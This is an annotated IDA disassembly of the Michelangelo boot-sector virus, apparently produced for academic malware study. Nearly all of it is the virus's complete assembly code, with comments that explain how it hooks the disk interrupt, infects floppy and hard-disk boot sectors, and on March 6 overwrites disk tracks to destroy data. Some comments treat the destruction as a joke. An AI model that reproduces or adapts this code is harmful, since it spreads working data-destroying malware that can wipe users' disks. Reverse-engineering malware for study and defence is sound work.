```
seg000:7C00 ;
seg000:7C00 ; +-------------------------------------------------------------------------+
seg000:7C00 ; |      This file was generated by The Interactive Disassembler (IDA)      |
seg000:7C00 ; |           Copyright (c) 2022 Hex-Rays, <support@hex-rays.com>           |
seg000:7C00 ; |                     License info: 48-3051-7114-0E                       |
seg000:7C00 ; |           LSU (Louisiana State University), Academic licenses           |
seg000:7C00 ; +-------------------------------------------------------------------------+
seg000:7C00 ;
seg000:7C00 ; Input SHA256 : B8A70F4A55E3EF8F59363FDF1F6ECD8761F3B8CEF8DB122EB0B2081B8C4CCD0E
seg000:7C00 ; Input MD5    : 3FFC402675E30C6E42560EAA0A90A2B7
seg000:7C00 ; Input CRC32  : 827C7725
seg000:7C00
seg000:7C00 ; ---------------------------------------------------------------------------
seg000:7C00 ; File Name   : C:\Users\golden\Documents\Downloads\michelangelo-sample\michelangelo.1
seg000:7C00 ; Format      : Binary file
seg000:7C00 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:7C00
seg000:7C00                 .686p
seg000:7C00                 .mmx
seg000:7C00                 .model small
seg000:7C00
seg000:7C00 ; ===========================================================================
seg000:7C00
seg000:7C00 ; Segment type: Pure code
seg000:7C00 seg000          segment byte public 'CODE' use16
seg000:7C00                 assume cs:seg000
seg000:7C00                 ;org 7C00h
seg000:7C00                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:7C00                 jmp     loc_7CAF        ; before anything, jump here
seg000:7C00 ; ---------------------------------------------------------------------------
seg000:7C03 unk_7C03        db 0F5h                 ; DATA XREF: seg000:7CF0↓r
seg000:7C04                 db    0
seg000:7C05 word_7C05       dw 0                    ; DATA XREF: seg000:7CD8↓w
seg000:7C07                 db 2
seg000:7C08                 dw 0Eh
seg000:7C0A dword_7C0A      dd 0F0009739h           ; DATA XREF: seg000:7CC1↓w
seg000:7C0A                                         ; seg000:7CC7↓w
seg000:7C0E ; ---------------------------------------------------------------------------
seg000:7C0E                 push    ds
seg000:7C0F                 push    ax              ; saves ax and ds to the stack
seg000:7C10                 or      dl, dl          ; check drive letter and set appropriate flags
seg000:7C12                 jnz     short loc_7C2F  ; use real handler if main drive is not used.
seg000:7C14                 xor     ax, ax          ; zero out ax
seg000:7C16                 mov     ds, ax          ; assign data segment to 0
seg000:7C18                 test    byte ptr ds:43Fh, 1 ; is the motor already running?
seg000:7C1D                 jnz     short loc_7C2F  ; Yes? Hand off to the real handler.
seg000:7C1F                 pop     ax
seg000:7C20                 pop     ds              ; No? Continue by restoring ax and ds
seg000:7C21                 pushf                   ; save the flags
seg000:7C22                 call    dword ptr cs:0Ah ; call the real int13 handler
seg000:7C27                 pushf                   ; save all the flags
seg000:7C28                 call    sub_7C36        ; Start the infection call
seg000:7C2B                 popf                    ; restore flags
seg000:7C2C                 retf    2               ; return to original function and discard the flags
seg000:7C2F ; ---------------------------------------------------------------------------
seg000:7C2F
seg000:7C2F loc_7C2F:                               ; CODE XREF: seg000:7C12↑j
seg000:7C2F                                         ; seg000:7C1D↑j
seg000:7C2F                 pop     ax
seg000:7C30                 pop     ds              ; restore ax, ds
seg000:7C31                 jmp     dword ptr cs:0Ah ; calls the real handler
seg000:7C36
seg000:7C36 ; =============== S U B R O U T I N E =======================================
seg000:7C36
seg000:7C36
seg000:7C36 sub_7C36        proc near               ; CODE XREF: seg000:7C28↑p
seg000:7C36                 push    ax
seg000:7C37                 push    bx
seg000:7C38                 push    cx
seg000:7C39                 push    dx
seg000:7C3A                 push    ds
seg000:7C3B                 push    es
seg000:7C3C                 push    si
seg000:7C3D                 push    di              ; save all the registers to the stack
seg000:7C3E                 push    cs              ; save cs to the stack so
```

```
seg000:7C3F                 pop     ds              ; when we pop ds,,, ds == cs
seg000:7C40                 push    cs
seg000:7C41                 pop     es              ; repeat it again, but this time for es
seg000:7C42                 mov     si, 4           ; read operations now run four times
seg000:7C45
seg000:7C45 loc_7C45:                               ; CODE XREF: sub_7C36+29↓j
seg000:7C45                 mov     ax, 201h        ; read one sector
seg000:7C48                 mov     bx, 200h        ; buffer is now 200h after the virus. (200h = 512 bytes)
seg000:7C4B                 mov     cx, 1           ; ch = 0, cl = 1 ||| a.k.a. ready track 0, sector 1
seg000:7C4E                 xor     dx, dx          ; zero out dx, so dh && dl = 0. ||| dh is head number and dl is the drive
seg000:7C50                 pushf                   ; save flags
seg000:7C51                 call    dword ptr ds:0Ah ; call real handler for boot
seg000:7C55                 jnb     short loc_7C63  ; if read happened, jump here
seg000:7C57                 xor     ax, ax          ; zero out the ax
seg000:7C59                 pushf                   ; save flags
seg000:7C5A                 call    dword ptr ds:0Ah ; call the real handler upon reset
seg000:7C5E                 dec     si              ; decrement read operations attempts
seg000:7C5F                 jnz     short loc_7C45  ; loop back until si = 0
seg000:7C61                 jmp     short loc_7CA6  ; Give up on infecting
seg000:7C63 ; ---------------------------------------------------------------------------
seg000:7C63
seg000:7C63 loc_7C63:                               ; CODE XREF: sub_7C36+1F↑j
seg000:7C63                 xor     si, si          ; zero out si, to read the beginning of the virus
seg000:7C65                 cld                     ; change system to increment si instead of decrement
seg000:7C66                 lodsw                   ; load the first bit of data at [ds:si]
seg000:7C67                 cmp     ax, [bx]        ; does beginning of the virus match the first bytes on the floppy?
seg000:7C69                 jnz     short loc_7C71  ; No?? Begin infection process
seg000:7C6B                 lodsw                   ; try the second set of data [di + 1:si + 1]
seg000:7C6C                 cmp     ax, [bx+2]      ; Repeat first compare, but on second data
seg000:7C6F                 jz      short loc_7CA6  ; No, this time? Jump and infect!
seg000:7C71
seg000:7C71 loc_7C71:                               ; CODE XREF: sub_7C36+33↑j
seg000:7C71                 mov     ax, 301h        ; make ax the write function. (Ready to write one sector)
seg000:7C74                 mov     dh, 1           ; assign dh (head #) to 1
seg000:7C76                 mov     cl, 3           ; assign cl to 3, so cx = 0 3. track 0, sector 3
seg000:7C78                 cmp     byte ptr [bx+15h], 0FDh ; examine media descriptor in boot code
seg000:7C7C                 jz      short loc_7C80  ; its a 360k floppy, backup location is good to go
seg000:7C7E                 mov     cl, 0Eh         ; non-360k floppy, adjust backup location to 14th sector
seg000:7C80
seg000:7C80 loc_7C80:                               ; CODE XREF: sub_7C36+46↑j
seg000:7C80                 mov     ds:8, cx        ; save backup boot sector inside the virus body
seg000:7C84                 pushf                   ; save flags
seg000:7C85                 call    dword ptr ds:0Ah ; call teh real handler to rewrite the boot sector
seg000:7C89                 jb      short loc_7CA6  ; error? Abort! jump and quit infection
seg000:7C8B                 mov     si, 3BEh        ; source of copy. ds:si (partition table: signature)
seg000:7C8E                 mov     di, 1BEh        ; destination of the copy es:di (partition table/ signature)
seg000:7C91                 mov     cx, 21h ; '!'   ; copy 33 words or 66 bytes
seg000:7C94                 cld                     ; start incrementing si, ds
seg000:7C95                 rep movsw               ; start copy
seg000:7C97                 mov     ax, 301h        ; write to one sector
seg000:7C9A                 xor     bx, bx          ; zero out bx, because es:bx is the buffer. es:0000 is the start of the vi
seg000:7C9C                 mov     cx, 1           ; write one sector
seg000:7C9F                 xor     dx, dx          ; zero out dx, to use floppy A
seg000:7CA1                 pushf                   ; save flags
seg000:7CA2                 call    dword ptr ds:0Ah ; call the real int13 to overwrite the boot sector
seg000:7CA6
seg000:7CA6 loc_7CA6:                               ; CODE XREF: sub_7C36+2B↑j
seg000:7CA6                                         ; sub_7C36+39↑j ...
seg000:7CA6                 pop     di
seg000:7CA7                 pop     si
seg000:7CA8                 pop     es
seg000:7CA9                 pop     ds
seg000:7CAA                 pop     dx
seg000:7CAB                 pop     cx
seg000:7CAC                 pop     bx
seg000:7CAD                 pop     ax
seg000:7CAE                 retn                    ; End Infection, heh sucker!
seg000:7CAE sub_7C36        endp
seg000:7CAE
seg000:7CAF ; ---------------------------------------------------------------------------
seg000:7CAF
seg000:7CAF loc_7CAF:                               ; CODE XREF: seg000:7C00↑j
seg000:7CAF                 xor     ax, ax
seg000:7CB1                 mov     ds, ax          ; zero out ax, and make ds = 0
seg000:7CB3                 cli                     ; turn off interrupts
seg000:7CB4                 mov     ss, ax          ; stack segment = 0
seg000:7CB6                 mov     ax, 7C00h       ; assign ax 7C00, the load address of the virus
```

```
seg000:7CB9                 mov     sp, ax          ; place the stack pointer at teh ebeginning of the virus
seg000:7CBB                 sti                     ; restore interrupts
seg000:7CBC                 push    ds
seg000:7CBD                 push    ax              ; push ds, ax so control can return to the original boot easier
seg000:7CBE                 mov     ax, ds:4Ch      ; assign ax the real handler offset. (4Ch = 13h *4)
seg000:7CC1                 mov     word ptr ds:dword_7C0A, ax ; save the original offset
seg000:7CC4                 mov     ax, ds:4Eh      ; assign ax the handlers address segment ( 4Eh = 13h *4 + 2)
seg000:7CC7                 mov     word ptr ds:dword_7C0A+2, ax ; save the memory address segment
seg000:7CCA                 mov     ax, ds:413h     ; obtain total memory size of floppy
seg000:7CCD                 dec     ax
seg000:7CCE                 dec     ax              ; decrement the memory size by 2k
seg000:7CCF                 mov     ds:413h, ax     ; return the smaller memory size
seg000:7CD2                 mov     cl, 6           ; cl = 6
seg000:7CD4                 shl     ax, cl          ; convert to 16 bit value
seg000:7CD6                 mov     es, ax          ; the 0 offset of es is for the stolen block of 2k memory
seg000:7CD8                 mov     ds:word_7C05, ax ; save the address of this block of memory
seg000:7CDB                 mov     ax, 0Eh         ; adjust the offset of the evil Int13 handler
seg000:7CDE                 mov     ds:4Ch, ax      ; save the new int 13 handler address
seg000:7CE1                 mov     word ptr ds:4Eh, es ; save the new int 13 handler segment
seg000:7CE5                 mov     cx, 1BEh        ; copy 446 bytes of the virus code
seg000:7CE8                 mov     si, 7C00h       ; source of the copy is gonna be at 7C00
seg000:7CEB                 xor     di, di          ; zero out di so its higher memory (0000:7C00)
seg000:7CED                 cld                     ; increment si, di
seg000:7CEE                 rep movsb               ; copy ds:si into es:di
seg000:7CF0                 jmp     dword ptr cs:unk_7C03 ; Dynamic jump to higher memory
seg000:7CF5 ; ---------------------------------------------------------------------------
seg000:7CF5                 xor     ax, ax          ; zero out ax
seg000:7CF7                 mov     es, ax          ; es = 0
seg000:7CF9                 int     13h             ; DISK - RESET DISK SYSTEM
seg000:7CF9                                         ; DL = drive (if bit 7 is set both hard disks and floppy disks reset)
seg000:7CFB                 push    cs              ; save cs so that
seg000:7CFC                 pop     ds              ; ds = cs
seg000:7CFD                 mov     ax, 201h        ; read one sector
seg000:7D00                 mov     bx, 7C00h       ; read one sector at es:bx (0000:7C00)
seg000:7D03                 mov     cx, ds:8        ; get the back up boot sector
seg000:7D07                 cmp     cx, 7           ; is it sector 7? It's a backup hard drive
seg000:7D0A                 jnz     short loc_7D13  ; no??? jump here to skip the hard drive portion
seg000:7D0C                 mov     dx, 80h         ; read the first sector of the first hard drive
seg000:7D0F                 int     13h             ; DISK - READ SECTORS INTO MEMORY
seg000:7D0F                                         ; AL = number of sectors to read, CH = track, CL = sector
seg000:7D0F                                         ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:7D0F                                         ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:7D11                 jmp     short loc_7D3E  ; skip the floppy handling code
seg000:7D13 ; ---------------------------------------------------------------------------
seg000:7D13
seg000:7D13 loc_7D13:                               ; CODE XREF: seg000:7D0A↑j
seg000:7D13                 mov     cx, ds:8        ; get teh back up boot sector #
seg000:7D17                 mov     dx, 100h        ; dh = 1, dl = 0. head 1, drive 0 ( drive A)
seg000:7D1A                 int     13h             ; DISK -
seg000:7D1C                 jb      short loc_7D3E  ; Error occured? Is it my birthday?
seg000:7D1E                 push    cs
seg000:7D1F                 pop     es              ; es = cs
seg000:7D20                 mov     ax, 201h        ; read one sector
seg000:7D23                 mov     bx, 200h        ; will read 512 bytes after teh start off the virus
seg000:7D26                 mov     cx, 1           ;  ch = 0, cl = 1. track 0, sector 1
seg000:7D29                 mov     dx, 80h         ; read from teh first hard drive
seg000:7D2C                 int     13h             ; DISK - READ SECTORS INTO MEMORY
seg000:7D2C                                         ; AL = number of sectors to read, CH = track, CL = sector
seg000:7D2C                                         ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:7D2C                                         ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:7D2E                 jb      short loc_7D3E  ; Error? Is it my birthday?
seg000:7D30                 xor     si, si          ; zero out si
seg000:7D32                 cld                     ; increment si, dsi
seg000:7D33                 lodsw                   ; get teh first 16-bit word from high memory of the virus.
seg000:7D34                 cmp     ax, [bx]        ; word from virus matches the one from the boot sector?
seg000:7D36                 jnz     short loc_7D87  ; No? Let's change that, start infection
seg000:7D38                 lodsw                   ; load the second word from each
seg000:7D39                 cmp     ax, [bx+2]      ; Do these words also match?
seg000:7D3C                 jnz     short loc_7D87  ; no? Infect it then
seg000:7D3E
seg000:7D3E loc_7D3E:                               ; CODE XREF: seg000:7D11↑j
seg000:7D3E                                         ; seg000:7D1C↑j ...
seg000:7D3E                 xor     cx, cx          ;  zero out cx
seg000:7D40                 mov     ah, 4           ; get the current date and time
seg000:7D42                 int     1Ah             ; CLOCK - READ DATE FROM REAL TIME CLOCK (AT,XT286,CONV,PS)
seg000:7D42                                         ; Return: DL = day in BCD
seg000:7D42                                         ; DH = month in BCD
```

```
seg000:7D42                                     ; CL = year in BCD
seg000:7D42                                     ; CH = century (19h or 20h)
seg000:7D44                 cmp     dx, 306h    ; Is it March 6th?
seg000:7D48                 jz      short loc_7D4B  ; Yes?! Time to get to work!!
seg000:7D4A                 retf                ; No?... Man, go back to what you were doing then...
seg000:7D4B ; ---------------------------------------------------------------------------
seg000:7D4B
seg000:7D4B loc_7D4B:                           ; CODE XREF: seg000:7D48↑j
seg000:7D4B                 xor     dx, dx      ; set dx to head 0, drive A
seg000:7D4D                 mov     cx, 1       ; set cx to track 0, sector 1
seg000:7D50
seg000:7D50 loc_7D50:                           ; CODE XREF: seg000:7D7F↓j
seg000:7D50                                     ; seg000:7D85↓j
seg000:7D50                 mov     ax, 309h    ; write 9 sectors
seg000:7D53                 mov     si, ds:8    ; get the backup boot sector.
seg000:7D57                 cmp     si, 3       ; 360k floppy??
seg000:7D5A                 jz      short loc_7D6C  ; Yes?  jump ahead.
seg000:7D5C                 mov     al, 0Eh
seg000:7D5E                 cmp     si, 0Eh     ; check to test non-360k floppy
seg000:7D61                 jz      short loc_7D6C  ; yes? Continue on
seg000:7D63                 mov     dl, 80h     ; Set dx to the first hard drive
seg000:7D65                 mov     byte ptr ds:7, 4 ; assign disk heads to 4
seg000:7D6A                 mov     al, 11h     ; since its a hard drive, write 17 sectors instead
seg000:7D6C
seg000:7D6C loc_7D6C:                           ; CODE XREF: seg000:7D5A↑j
seg000:7D6C                                     ; seg000:7D61↑j
seg000:7D6C                 mov     bx, 5000h   ; random number for offset>
seg000:7D6F                 mov     es, bx      ; random number for segment>
seg000:7D71                 assume es:nothing
seg000:7D71                 int     13h         ; DISK - WRITE SECTORS FROM MEMORY
seg000:7D71                                     ; AL = number of sectors to write, CH = track, CL = sector
seg000:7D71                                     ; DH = head, DL = drive, ES:BX -> buffer
seg000:7D71                                     ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7D73                 jnb     short loc_7D79  ; no error?  skip the reset of disk controller
seg000:7D75                 xor     ah, ah      ; zero out ah, for the controller reset
seg000:7D77                 int     13h         ; DISK - RESET DISK SYSTEM
seg000:7D77                                     ; DL = drive (if bit 7 is set both hard disks and floppy disks reset)
seg000:7D79
seg000:7D79 loc_7D79:                           ; CODE XREF: seg000:7D73↑j
seg000:7D79                 inc     dh          ; go to the next head
seg000:7D7B                 cmp     dh, ds:7    ; have we gone through all the heads?
seg000:7D7F                 jb      short loc_7D50  ; No? then why stop now, loop back
seg000:7D81                 xor     dh, dh      ; reset head # back to 0
seg000:7D83                 inc     ch          ; increment the track number by 1
seg000:7D85                 jmp     short loc_7D50  ; Go destory the next set! Man, I love my job
seg000:7D87 ; ---------------------------------------------------------------------------
seg000:7D87
seg000:7D87 loc_7D87:                           ; CODE XREF: seg000:7D36↑j
seg000:7D87                                     ; seg000:7D3C↑j
seg000:7D87                 mov     cx, 7       ; back up boot is at sector 7. CX = ? 7
seg000:7D8A                 mov     ds:8, cx    ; save the backup boot to the virus body
seg000:7D8E                 mov     ax, 301h    ; write one sector
seg000:7D91                 mov     dx, 80h     ; targetting the first hard drive
seg000:7D94                 int     13h         ; DISK - WRITE SECTORS FROM MEMORY
seg000:7D94                                     ; AL = number of sectors to write, CH = track, CL = sector
seg000:7D94                                     ; DH = head, DL = drive, ES:BX -> buffer
seg000:7D94                                     ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7D96                 jb      short loc_7D3E  ; Error? Is it my Birthday>
seg000:7D98                 mov     si, 3BEh    ; getting the partition table from the uninfected boot sector
seg000:7D9B                 mov     di, 1BEh    ; picking the destination, the later half of the virus body
seg000:7D9E                 mov     cx, 21h ; '!'   ; copy 33 words, or 66 bytes
seg000:7DA1                 rep movsw           ; perform the copy
seg000:7DA3                 mov     ax, 301h    ; write one sector
seg000:7DA6                 xor     bx, bx      ; Prepare to copy from high memory
seg000:7DA8                 inc     cl          ; increment to copy sector 1
seg000:7DAA                 int     13h         ; DISK - WRITE SECTORS FROM MEMORY
seg000:7DAA                                     ; AL = number of sectors to write, CH = track, CL = sector
seg000:7DAA                                     ; DH = head, DL = drive, ES:BX -> buffer
seg000:7DAA                                     ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7DAC                 jmp     short loc_7D3E  ; Error? Is it my Birthday?
seg000:7DAC ; ---------------------------------------------------------------------------
seg000:7DAE                 db 50h dup(0), 55h, 0AAh ; Signature of boot sector and end of virus
seg000:7DAE seg000          ends
seg000:7DAE
seg000:7DAE
seg000:7DAE                 end
```